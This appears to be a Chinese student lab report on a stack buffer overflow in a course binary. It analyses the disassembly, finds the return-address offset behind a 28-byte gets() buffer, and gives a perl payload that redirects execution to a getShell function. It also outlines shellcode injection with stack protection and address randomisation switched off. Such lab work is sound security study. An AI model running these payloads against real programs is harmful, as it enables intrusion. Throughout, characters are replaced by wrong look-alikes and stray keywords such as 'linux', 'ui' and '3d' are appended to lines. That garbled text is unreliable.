理清思路:linux
观察反汇编代码。我首先从新学习了一遍《深刻理解计算机系统》里关于过程的栈帧变化。仅经过读这个反汇编代码,就能够看清栈帧的内容,准确预测出须要注入代码的位置。==而且预测结果和实际结果相符。==反汇编代码以下,我经过读代码,回答老师挖空的两个问题。shell
0804847d <getShell>: 804847d: 55 push %ebp 804847e: 89 e5 mov %esp,%ebp 8048480: 83 ec 18 sub $0x18,%esp 8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp) 804848a: e8 c1 fe ff ff call 8048350 <system@plt> 804848f: c9 leave 8048490: c3 ret == 该可执行文件正常运行是调用以下函数foo,这个函数有Buffer overflow漏洞 == 08048491 <foo>: 8048491: 55 push %ebp 8048492: 89 e5 mov %esp,%ebp 8048494: 83 ec 38 sub $0x38,%esp 8048497: 8d 45 e4 lea -0x1c(%ebp),%eax 804849a: 89 04 24 mov %eax,(%esp) == 这里读入字符串,但系统只预留了_28_字节的缓冲区,超出部分会形成溢出,咱们的目标是覆盖返回地址 == 804849d: e8 8e fe ff ff call 8048330 <gets@plt> 80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax 80484a5: 89 04 24 mov %eax,(%esp) 80484a8: e8 93 fe ff ff call 8048340 <puts@plt> 80484ad: c9 leave 80484ae: c3 ret 080484af <main>: 80484af: 55 push %ebp 80484b0: 89 e5 mov %esp,%ebp 80484b2: 83 e4 f0 and $0xfffffff0,%esp 80484b5: e8 d7 ff ff ff call 8048491 <foo> ==上面的call调用foo,同时在堆栈上压上返回地址值:___80484ba_______== 80484ba: b8 00 00 00 00 mov $0x0,%eax
读这个反汇编代码时,须要复习栈帧结构图:
安全
如图,咱们的目标是P函数(main函数)的返回地址。网络
寄存器组是惟一被全部过程共享的资源。咱们必须保证被调函数不会覆盖调用函数稍后会使用的值。因此全部过程都必须遵循寄存器使用规则:1.%rbx,%rbp和%r12~%r15被分为调用者保存寄存器,即被调者须要将这些寄存器的值压入栈中,调用结束后再恢复出来。——《深刻理解计算机系统》函数
因此,咱们能够理解为何foo函数第一条指令是push %epb。将%epb压栈,因此被保存寄存器这一段占4字节。学习
ebp压栈保护后,栈指针esp存入ebp,-0x1c(%ebp)在ebp为基地址,偏移-0x1c即28个字节。这个空间就是buffer空间!ui
保存寄存器占4字节,buffer占28字节,一共32字节,在32字节后4字节即咱们要找的返回地址!操作系统
再用老师讲的方法验证个人预测是否正确:3d
发现55555555中的4字节溢出到返回地址了!指针
发现1234这4字节溢出到返回地址!和我以前的预测一致!
找到位置后,只要把1234的位置换成getshell函数的地址\x08\x04\x84\x7d便可。直接输入是不行,先写到一个文件Input里,再将文件内容做为输入便可。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > input //-e:perl调用print函数所需参数 xxd input //d:display,xx:十六进制,以十六进制查看 (cat input ; cat)| ./20155225pwn //将Input文件内容做为输入
过程以下图所示:
首先须要搞清楚什么是shellcode,shellcode是一段机器码程序,其功能是获得一个系统shell。
和前面的getshell功能一致,惟一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是hacker本身编写的,能够实现任何功能。
攻击思路仍是利用缓冲区溢出,修改返回地址,只不过返回地址再也不是修改成getshell的地址,而是shellcode的地址。
这是原来的堆栈结构:
有下面两种思路,第一种是老师挖的坑,跳了……
尝试第二种思路,选择将shellcode放在shellcode后面,返回地址以shellcode地址填充便可。
理清思路就能够开始作了!
预备工做:
设置堆栈可执行、关闭地址随机化,如图所示。
只要找到01020304的位置在0xffffd38c,再加4字节就是shellcode的起始地址了!即0xffffd390。如图:
在网上找到修改主机名的方法,能够修改主机名相关的配置文件:/etc/hosts和/etc/sysconfig/network。可是我找不到/etc/sysconfig/network这个文件,暂时先只能每次开机用hostname命令修改了。
进入:输出gdb <可执行文件名> ;退出:输入quit,或者按下Ctrl+d
使用这个命令安装,sudo apt-get install execstack。
经过此次实验,我感受收获良多。一、真实体验了一把漏洞攻击,仍是颇有成就干的。从新复习了过程调用中的堆栈结构,对整个攻击过程更清晰地理解了。
二、至于==什么是漏洞==这个问题,个人理解是,漏洞是利用操做系统运行应用程序的机制,经过一些巧妙的方法,修改应用系统的运行流程,达到本身的目标。
三、==漏洞的危害==:漏洞的存在会致使系统安全性下降,一旦黑客利用漏洞,运行了shellcode,就至关于整机暴露给黑客了。
四、==掌握NOP、JNE、JE、JMP、CMP汇编指令的机器码==
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不作,仅仅当作一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE:条件转移指令,若是不相等则跳转。(机器码:75)
JE:条件转移指令,若是相等则跳转。(机器码:74)
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
CMP:比较指令,功能至关于减法指令,只是对操做数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其余相关指令经过识别这些被影响的标志寄存器位来得知比较结果。